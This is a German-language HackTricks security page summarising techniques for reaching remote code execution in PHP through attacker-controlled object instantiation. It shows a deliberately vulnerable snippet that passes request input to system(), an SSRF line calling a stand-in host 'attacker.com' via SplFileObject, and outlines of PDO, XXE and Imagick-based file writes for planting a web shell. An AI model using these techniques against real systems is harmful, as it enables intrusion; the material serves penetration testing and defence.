PHP - RCE abusing object creation: new $_GET["a"]($_GET["b"])

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Unterstützen Sie HackTricks

Dies ist im Grunde eine Zusammenfassung von https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/

Einführung

Die Erstellung neuer willkürlicher Objekte, wie new $_GET["a"]($_GET["a"]), kann zu Remote Code Execution (RCE) führen, wie in einem Bericht detailliert beschrieben. Dieses Dokument hebt verschiedene Strategien zur Erreichung von RCE hervor.

RCE über benutzerdefinierte Klassen oder Autoloading

Die Syntax new $a($b) wird verwendet, um ein Objekt zu instanziieren, wobei $a den Klassennamen darstellt und $b das erste Argument ist, das an den Konstruktor übergeben wird. Diese Variablen können aus Benutzereingaben wie GET/POST stammen, wo sie Strings oder Arrays sein können, oder aus JSON, wo sie als andere Typen erscheinen könnten.

Betrachten Sie den folgenden Codeausschnitt:

class App {
function __construct ($cmd) {
system($cmd);
}
}

class App2 {
function App2 ($cmd) {
system($cmd);
}
}

$a = $_GET['a'];
$b = $_GET['b'];

new $a($b);

In diesem Fall führt das Setzen von $a auf App oder App2 und $b auf einen Systembefehl (z.B. uname -a) zur Ausführung dieses Befehls.

Autoloading-Funktionen können ausgenutzt werden, wenn solche Klassen nicht direkt zugänglich sind. Diese Funktionen laden automatisch Klassen aus Dateien, wenn sie benötigt werden, und sind definiert mit spl_autoload_register oder __autoload:

spl_autoload_register(function ($class_name) {
include './../classes/' . $class_name . '.php';
});

function __autoload($class_name) {
include $class_name . '.php';
};

spl_autoload_register();

Das Verhalten des Autoloadings variiert je nach PHP-Version und bietet unterschiedliche RCE-Möglichkeiten.

RCE über eingebaute Klassen

Ohne benutzerdefinierte Klassen oder Autoloader können eingebaute PHP-Klassen für RCE ausreichen. Die Anzahl dieser Klassen liegt je nach PHP-Version und Erweiterungen zwischen 100 und 200. Sie können mit get_declared_classes() aufgelistet werden.

Konstruktoren von Interesse können über die Reflection-API identifiziert werden, wie im folgenden Beispiel und dem Link https://3v4l.org/2JEGF gezeigt.

RCE über spezifische Methoden umfasst:

SSRF + Phar Deserialisierung

Die Klasse SplFileObject ermöglicht SSRF über ihren Konstruktor und erlaubt Verbindungen zu jeder URL:

new SplFileObject('http://attacker.com/');

SSRF kann in PHP-Versionen vor 8.0 zu Deserialisierungsangriffen führen, wenn das Phar-Protokoll verwendet wird.

Ausnutzen von PDOs

Der Konstruktor der PDO-Klasse ermöglicht Verbindungen zu Datenbanken über DSN-Strings, was potenziell die Erstellung von Dateien oder andere Interaktionen ermöglicht:

new PDO("sqlite:/tmp/test.txt")

SoapClient/SimpleXMLElement XXE

Versionen von PHP bis 5.3.22 und 5.4.12 waren anfällig für XXE-Angriffe über die SoapClient- und SimpleXMLElement-Konstruktoren, abhängig von der Version von libxml2.

RCE über die Imagick-Erweiterung

Bei der Analyse der Abhängigkeiten eines Projekts wurde festgestellt, dass Imagick für die Befehlsausführung durch die Instanziierung neuer Objekte genutzt werden kann. Dies bietet eine Möglichkeit, Schwachstellen auszunutzen.

VID-Parser

Die Fähigkeit des VID-Parsers, Inhalte an einen beliebigen angegebenen Pfad im Dateisystem zu schreiben, wurde identifiziert. Dies könnte zur Platzierung einer PHP-Shell in einem webzugänglichen Verzeichnis führen, was Remote Code Execution (RCE) ermöglicht.

VID-Parser + Datei-Upload

Es wird angemerkt, dass PHP hochgeladene Dateien vorübergehend in /tmp/phpXXXXXX speichert. Der VID-Parser in Imagick, der das msl-Protokoll verwendet, kann Platzhalter in Dateipfaden verarbeiten, was den Transfer der temporären Datei an einen gewählten Ort erleichtert. Diese Methode bietet einen zusätzlichen Ansatz, um beliebige Dateien im Dateisystem zu schreiben.

PHP-Absturz + Brute Force

Eine Methode, die im originalen Bericht beschrieben wird, beinhaltet das Hochladen von Dateien, die einen Serverabsturz auslösen, bevor sie gelöscht werden. Durch Brute-Forcing des Namens der temporären Datei wird es möglich, dass Imagick beliebigen PHP-Code ausführt. Diese Technik wurde jedoch nur in einer veralteten Version von ImageMagick als effektiv befunden.

Referenzen

Lerne & übe AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Lerne & übe GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Unterstütze HackTricks

Last updated